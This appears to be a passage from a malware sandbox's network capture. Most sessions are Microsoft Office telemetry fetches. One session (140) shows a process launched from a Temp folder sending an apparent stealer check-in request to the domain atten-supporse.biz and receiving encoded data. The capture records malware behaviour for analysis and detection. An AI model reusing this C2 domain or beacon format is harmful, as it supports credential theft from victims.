2024-11-29 18:50:20 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:20 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 24e5792c-101e-008d-7f47-4192e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185020Z-174f784596886s2bhC1EWR743w00000010a000000000er98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:20 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:20 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:20 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:20 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 3d280e2f-f01e-0099-6705-419171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185020Z-174f7845968px8v7hC1EWR08ng00000010pg000000001z00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:20 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:20 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:21 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 35d21284-b01e-001e-2c15-410214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185021Z-174f78459684bddphC1EWRbht4000000101g00000000c1c4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:20 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 3f4920de-001e-00ad-8054-40554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185021Z-174f7845968frfdmhC1EWRxxbw000000109000000000h7zm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:22 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:50:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:22 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 0da30123-601e-0050-5915-412c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T185022Z-174f78459685m244hC1EWRgp2c000000103000000000g44q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:50:22 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49880	104.21.16.9	443	8184	C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:50:22 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-11-29 18:50:22 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-29 18:50:23 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:50:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3icphp1nufnnuam74spgtodnht; expires=Tue, 25-Mar-2025 12:37:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qTA1%2B4vjdtxz3gIxi7pXvIik8%2FgZWJGkaAkV2K%2BrKPU2bcd8dYDdDeagi7zxjvPvegRSuXW3ngAEmMLfNlp5H3UmByEZ6dnRUoq7UGXEKisndH0v4cdwrQbI11A6t9t%2BCrQhk9o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4c874cf584269-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1646&min_rtt=1645&rtt_var=620&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1759036&cwnd=250&unsent_bytes=0&cid=77d327efc536013f&ts=791&x=0"
2024-11-29 18:50:23 UTC	352	IN	Data Raw: 63 63 66 0d 0a 4b 33 48 4d 48 58 6c 4f 70 45 6c 71 4a 46 6b 50 54 4b 67 64 78 2f 35 66 51 6d 77 79 54 4a 72 52 34 6e 69 72 44 67 73 71 72 72 56 51 55 37 6f 2f 51 33 71 49 61 78 6c 42 65 7a 55 34 32 6d 69 69 30 6e 30 6a 43 42 42 32 2f 4c 43 4f 43 38 34 69 4b 56 7a 44 6c 78 45 58 72 58 45 4b 4b 34 68 72 44 31 78 37 4e 52 66 54 50 36 4b 51 66 58 68 4f 56 79 62 34 73 49 34 61 79 6d 56 6b 57 73 4c 57 51 78 32 72 64 52 77 74 77 43 67 47 53 54 78 71 4b 63 6c 33 71 5a 63 79 4b 67 45 51 59 4c 69 30 6d 46 71 52 4c 45 5a 50 32 74 52 6d 45 4c 39 32 57 7a 4f 49 4d 6b 68 42 4e 79 31 32 69 6e 79 69 6e 44 4d 6b 43 46 6b 6b 38 72 6d 47 47 38 39 6b 65 30 50 49 33 55 4d 54 71 48 51 57 4a 4e 51 6c 44 45 34 33 62 43 50 4a 50 2b 76 63 4f 6a 68 4f 43 47 36 72 67 59 4d 4c 32 48 Data Ascii: ccfK3HMHXlOpElqJFkPTKgdx/5fQmwyTJrR4nirDgsqrrVQU7o/Q3qIaxlBezU42mii0n0jCBB2/LCOC84iKVzDlxEXrXEKK4hrD1x7NRfTP6KQfXhOVyb4sI4aymVkWsLWQx2rdRwtwCgGSTxqKcl3qZcyKgEQYLi0mFqRLEZP2tRmEL92WzOIMkhBNy12inyinDMkCFkk8rmGG89ke0PI3UMTqHQWJNQlDE43bCPJP+vcOjhOCG6rgYML2H
2024-11-29 18:50:23 UTC	1369	IN	Data Raw: 61 49 63 59 35 41 45 30 77 61 44 7a 42 64 71 69 52 50 53 30 45 58 79 33 34 74 49 6f 51 78 6d 5a 74 52 63 48 52 53 52 50 75 4d 56 73 72 33 6d 74 51 42 68 68 6f 50 73 31 7a 73 39 34 48 59 42 45 65 4e 37 69 30 6a 46 71 52 4c 47 46 4e 7a 39 52 43 48 4b 31 33 45 44 37 47 4f 51 35 4c 50 6e 38 6f 7a 33 47 76 6e 79 38 71 41 46 59 74 38 62 69 4a 48 38 35 6f 4b 51 61 4d 30 46 46 54 39 6a 38 36 49 63 30 6e 41 6c 45 37 4c 54 47 45 5a 75 57 62 4d 57 42 57 45 43 72 35 74 34 45 65 78 32 4a 74 52 4d 72 5a 52 42 79 6f 64 52 73 72 7a 43 4d 41 52 7a 5a 6d 49 63 70 36 71 4a 67 37 4c 41 39 56 62 72 62 7a 68 77 4b 4a 4e 43 6c 6d 79 39 52 62 55 5a 74 38 46 53 4c 42 50 55 68 5a 64 58 52 75 7a 58 50 6c 78 48 30 75 43 31 38 38 2b 61 47 46 46 4e 74 67 62 45 37 42 31 45 63 54 71 33 Data Ascii: aIcY5AE0waDzBdqiRPS0EXy34tIoQxmZtRcHRSRPuMVsr3mtQBhhoPs1zs94HYBEeN7i0jFqRLGFNz9RCHK13ED7GOQ5LPn8oz3Gvny8qAFYt8biJH85oKQaM0FFT9j86Ic0nAlE7LTGEZuWbMWBWECr5t4Eex2JtRMrZRByodRsrzCMARzZmIcp6qJg7LA9VbrbzhwKJNClmy9RbUZt8FSLBPUhZdXRuzXPlxH0uC188+aGFFNtgbE7B1EcTq3
2024-11-29 18:50:23 UTC	1369	IN	Data Raw: 50 55 68 5a 64 58 52 75 7a 58 50 6c 78 48 30 73 42 31 41 6c 38 72 65 41 48 63 52 70 61 6b 2f 50 32 6b 34 5a 6f 48 67 66 49 4d 38 6d 44 6b 59 38 61 53 76 59 65 71 79 51 4d 57 42 41 45 43 6e 67 38 39 68 61 35 6d 74 2f 53 2b 50 55 57 42 72 75 59 46 55 31 68 69 77 45 42 6d 4d 74 4b 63 39 33 72 70 6f 31 49 42 78 56 49 50 4f 79 69 68 7a 49 59 57 56 4f 7a 4e 5a 4a 46 61 4a 2f 48 43 76 55 4f 51 31 41 4b 57 64 75 68 44 2b 69 68 48 31 34 54 6d 59 2b 37 36 4b 57 57 50 78 76 5a 30 62 4c 77 51 6b 4d 34 47 5a 62 4b 38 70 72 55 41 59 77 62 53 4c 4e 64 36 4f 59 4e 53 38 42 57 54 7a 35 76 34 34 49 7a 6d 78 67 52 73 50 62 51 42 36 70 63 68 41 6d 79 79 38 50 52 33 73 6a 62 73 31 6e 35 63 52 39 46 68 35 64 49 74 61 34 6a 42 4f 4a 63 79 64 52 6a 4e 42 46 55 2f 59 2f 48 79 44 Data Ascii: PUhZdXRuzXPlxH0sB1Al8reAHcRpak/P2k4ZoHgfIM8mDkY8aSvYeqyQMWBAECng89ha5mt/S+PUWBruYFU1hiwEBmMtKc93rpo1IBxVIPOyihzIYWVOzNZJFaJ/HCvUOQ1AKWduhD+ihH14TmY+76KWWPxvZ0bLwQkM4GZbK8prUAYwbSLNd6OYNS8BWTz5v44IzmxgRsPbQB6pchAmyy8PR3sjbs1n5cR9Fh5dIta4jBOJcydRjNBFU/Y/HyD
2024-11-29 18:50:23 UTC	196	IN	Data Raw: 6a 35 6f 4b 73 31 37 6f 35 4e 39 62 6b 35 58 4e 72 6a 72 77 44 58 75 57 53 74 70 39 70 64 57 58 62 63 2f 48 43 43 47 63 30 68 4b 4f 47 45 6d 78 58 6d 73 6b 44 63 70 42 56 77 6c 2f 4c 2b 4a 48 38 39 74 62 45 33 4e 30 30 55 5a 71 48 77 59 49 38 6b 6b 41 41 5a 31 4c 53 6e 53 50 2f 33 63 47 44 63 46 58 69 69 34 72 4d 34 44 69 57 74 6c 43 4a 53 58 52 52 71 6f 65 52 34 67 78 79 30 41 51 7a 4e 70 4c 38 78 35 70 70 4d 35 4a 51 39 66 4b 76 53 39 69 68 76 49 59 47 4a 48 78 39 49 4a 58 65 35 34 41 32 79 65 61 7a 6c 46 4c 58 6f 2b 78 6a 2b 36 30 69 52 67 43 56 78 75 6f 50 4f 42 43 4d 4e 0d 0a Data Ascii: j5oKs17o5N9bk5XNrjrwDXuWStp9pdWXbc/HCCGc0hKOGEmxXmskDcpBVwl/L+JH89tbE3N00UZqHwYI8kkAAZ1LSnSP/3cGDcFXii4rM4DiWtlCJSXRRqoeR4gxy0AQzNpL8x5ppM5JQ9fKvS9ihvIYGJHx9IJXe54A2yeazlFLXo+xj+60iRgCVxuoPOBCMN
2024-11-29 18:50:23 UTC	1369	IN	Data Raw: 33 37 62 39 0d 0a 6d 5a 30 33 44 30 6b 6f 63 71 58 49 64 49 4d 77 69 41 45 41 30 5a 44 7a 4a 63 36 75 62 4d 79 77 41 58 53 54 37 76 73 42 55 69 57 74 78 43 4a 53 58 5a 52 53 6a 55 52 41 67 77 57 73 58 43 43 49 74 4b 63 59 2f 2f 64 77 78 4b 67 4a 5a 4c 76 47 32 69 42 48 41 61 57 68 44 79 64 52 50 48 71 46 32 43 53 62 46 4a 51 74 4b 4e 32 73 76 79 57 32 74 6c 58 31 75 54 6c 63 32 75 4f 76 41 4f 38 64 68 66 55 2f 63 6c 31 5a 64 74 7a 38 63 49 49 5a 7a 53 45 55 36 59 69 33 4c 63 71 4f 56 4e 53 41 49 56 53 48 31 76 59 63 64 79 57 46 6e 52 38 72 66 52 42 2b 6c 63 52 49 71 78 69 6f 43 42 6e 55 74 4b 64 49 2f 2f 64 77 4e 49 77 35 51 4e 62 69 73 7a 67 4f 4a 61 32 55 49 6c 4a 64 62 47 61 64 2f 47 43 50 42 4c 77 4e 4b 50 6d 67 68 79 58 61 67 6c 54 4d 79 42 31 34 6d Data Ascii: 37b9mZ03D0kocqXIdIMwiAEA0ZDzJc6ubMywAXST7vsBUiWtxCJSXZRSjURAgwWsXCCItKcY//dwxKgJZLvG2iBHAaWhDydRPHqF2CSbFJQtKN2svyW2tlX1uTlc2uOvAO8dhfU/cl1Zdtz8cIIZzSEU6Yi3LcqOVNSAIVSH1vYcdyWFnR8rfRB+lcRIqxioCBnUtKdI//dwNIw5QNbiszgOJa2UIlJdbGad/GCPBLwNKPmghyXaglTMyB14m
2024-11-29 18:50:23 UTC	1369	IN	Data Raw: 76 46 59 32 70 48 7a 39 52 49 47 62 78 74 46 79 58 4f 4c 67 52 4e 4e 57 73 38 7a 48 43 73 6e 7a 34 70 43 56 67 69 38 72 43 48 57 6f 63 73 62 6c 43 4d 6a 77 6b 77 75 57 38 57 62 4e 6c 6c 45 51 59 38 59 57 36 53 50 36 32 52 4e 53 6f 4b 56 79 50 2f 74 59 6b 49 77 47 6c 6e 53 4d 6a 63 52 68 57 71 66 42 73 2b 77 43 38 41 52 54 5a 67 49 4d 6c 37 35 64 4a 39 4a 78 59 51 64 72 69 42 6a 52 54 53 59 32 35 5a 78 70 64 57 58 62 63 2f 48 43 43 47 63 30 68 43 4e 58 38 6c 79 33 53 75 6b 6a 6f 76 43 31 6f 75 39 37 65 44 46 4d 4a 74 61 6b 44 42 32 6b 63 5a 70 33 59 63 49 4d 49 73 53 41 68 37 61 6a 61 4b 4a 2b 57 33 48 41 30 69 56 7a 53 34 72 4d 34 44 69 57 74 6c 43 4a 53 58 52 52 71 69 64 52 41 72 7a 43 55 42 53 44 42 2f 50 4d 6c 37 70 70 55 2b 4a 77 64 65 4c 76 2b 32 6a Data Ascii: vFY2pHz9RIGbxtFyXOLgRNNWs8zHCsnz4pCVgi8rCHWocsblCMjwkwuW8WbNllEQY8YW6SP62RNSoKVyP/tYkIwGlnSMjcRhWqfBs+wC8ARTZgIMl75dJ9JxYQdriBjRTSY25ZxpdWXbc/HCCGc0hCNX8ly3SukjovC1ou97eDFMJtakDB2kcZp3YcIMIsSAh7ajaKJ+W3HA0iVzS4rM4DiWtlCJSXRRqidRArzCUBSDB/PMl7ppU+JwdeLv+2j
2024-11-29 18:50:23 UTC	1369	IN	Data Raw: 78 43 4a 53 58 5a 42 2b 70 56 68 77 33 68 6a 52 47 58 33 74 71 49 6f 6f 6e 35 5a 30 32 4b 67 46 64 4c 66 36 77 69 78 2f 44 62 57 35 41 77 63 56 4b 48 4b 46 37 47 79 50 41 4c 51 6c 4a 50 57 6f 6e 79 33 65 69 33 48 4e 67 43 55 68 75 6f 50 4f 75 48 63 70 6f 4b 56 65 43 7a 67 6b 55 6f 6a 39 44 62 4d 59 68 41 6b 77 31 62 53 6e 59 65 61 79 63 50 6a 49 4e 56 69 62 2b 76 34 77 58 77 57 56 70 54 63 66 61 51 68 36 6f 66 78 41 74 68 6d 56 49 51 53 4d 74 64 6f 70 4f 71 4a 49 35 4c 67 31 41 4b 62 69 73 7a 67 4f 4a 61 32 55 49 6c 4a 64 47 47 72 78 34 48 69 54 50 4b 77 5a 50 4d 6d 6f 71 79 58 36 68 6b 44 49 70 44 56 67 76 38 4c 79 44 47 73 4a 6b 59 30 6e 43 30 67 6c 64 37 6e 67 44 62 4a 35 72 4a 30 55 2b 5a 69 2b 49 57 4b 4f 62 4d 57 41 52 48 6a 65 34 74 49 78 61 6b 53 Data Ascii: xCJSXZB+pVhw3hjRGX3tqIoon5Z02KgFdLf6wix/DbW5AwcVKHKF7GyPALQlJPWony3ei3HNgCUhuoPOuHcpoKVeCzgkUoj9DbMYhAkw1bSnYeaycPjINVib+v4wXwWVpTcfaQh6ofxAthmVIQSMtdopOqJI5Lg1AKbiszgOJa2UIlJdGGrx4HiTPKwZPMmoqyX6hkDIpDVgv8LyDGsJkY0nC0gld7ngDbJ5rJ0U+Zi+IWKObMWARHje4tIxakS
2024-11-29 18:50:23 UTC	1369	IN	Data Raw: 6d 6d 34 4a 6f 33 6b 4d 50 59 5a 6c 53 45 42 37 4e 58 36 45 50 36 47 4e 66 58 68 65 41 6e 57 74 34 4e 64 4b 6d 33 4d 6e 55 59 7a 42 43 55 76 38 4d 56 73 2b 68 6e 4e 49 41 54 68 2f 50 4d 78 38 73 35 39 36 48 6a 42 2b 4b 66 36 32 68 77 71 4c 51 6d 4a 63 79 35 63 48 55 36 45 2f 51 78 57 47 59 30 68 35 64 53 30 32 69 69 66 6c 71 54 34 75 41 46 63 34 36 66 36 75 48 63 39 70 62 6c 69 4f 2b 55 49 48 71 54 39 56 62 4d 42 72 55 42 5a 31 4c 53 72 62 50 2f 33 4d 62 33 74 62 41 33 6d 6f 34 5a 39 55 30 43 78 2f 43 4a 53 46 42 31 4f 38 50 30 4e 73 67 53 67 61 56 44 31 75 4f 4d 6b 34 6d 36 49 2b 4e 67 4e 66 4a 66 6d 4e 76 6a 54 45 62 57 70 47 6a 75 5a 66 48 72 35 38 48 69 76 34 46 51 5a 42 4c 32 6f 67 7a 48 2f 6c 30 6e 30 76 54 67 67 58 75 50 76 41 4a 59 63 73 63 51 69 Data Ascii: mm4Jo3kMPYZlSEB7NX6EP6GNfXheAnWt4NdKm3MnUYzBCUv8MVs+hnNIATh/PMx8s596HjB+Kf62hwqLQmJcy5cHU6E/QxWGY0h5dS02iiflqT4uAFc46f6uHc9pbliO+UIHqT9VbMBrUBZ1LSrbP/3Mb3tbA3mo4Z9U0Cx/CJSFB1O8P0NsgSgaVD1uOMk4m6I+NgNfJfmNvjTEbWpGjuZfHr58Hiv4FQZBL2ogzH/l0n0vTggXuPvAJYcscQi
2024-11-29 18:50:23 UTC	1369	IN	Data Raw: 50 34 74 42 47 4c 66 61 78 34 47 59 7a 39 67 69 6d 33 6c 78 48 31 6e 44 55 49 38 2f 72 43 57 47 59 35 53 56 32 2f 43 30 45 67 46 76 6e 49 58 44 63 55 36 41 6e 67 46 65 43 33 45 63 61 4b 4b 4c 47 42 41 45 43 47 34 36 37 6c 61 67 53 78 57 42 6f 7a 50 43 55 76 75 53 68 67 69 79 43 77 65 56 33 5a 4b 49 4d 31 2b 73 34 77 77 4c 43 39 54 50 2f 4c 7a 7a 6c 72 50 4c 44 45 61 67 70 64 4e 41 75 34 6e 53 33 36 64 66 6c 73 52 61 7a 38 78 68 47 62 6c 69 6e 31 34 58 42 35 75 36 76 50 59 57 6f 35 76 65 31 72 4b 31 46 38 51 36 55 45 6c 43 64 45 6f 47 45 41 34 55 78 44 68 63 36 4f 62 4a 79 63 49 64 67 36 34 2f 63 41 56 69 54 52 51 43 49 53 58 64 6c 33 75 5a 31 74 30 68 68 34 4c 53 44 56 71 4f 4e 73 79 67 49 73 2b 4d 41 68 54 62 72 62 7a 68 6c 71 52 50 43 63 49 79 4d 59 4a Data Ascii: P4tBGLfax4GYz9gim3lxH1nDUI8/rCWGY5SV2/C0EgFvnIXDcU6AngFeC3EcaKKLGBAECG467lagSxWBozPCUvuShgiyCweV3ZKIM1+s4wwLC9TP/LzzlrPLDEagpdNAu4nS36dflsRaz8xhGblin14XB5u6vPYWo5ve1rK1F8Q6UElCdEoGEA4UxDhc6ObJycIdg64/cAViTRQCISXdl3uZ1t0hh4LSDVqONsygIs+MAhTbrbzhlqRPCcIyMYJ

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
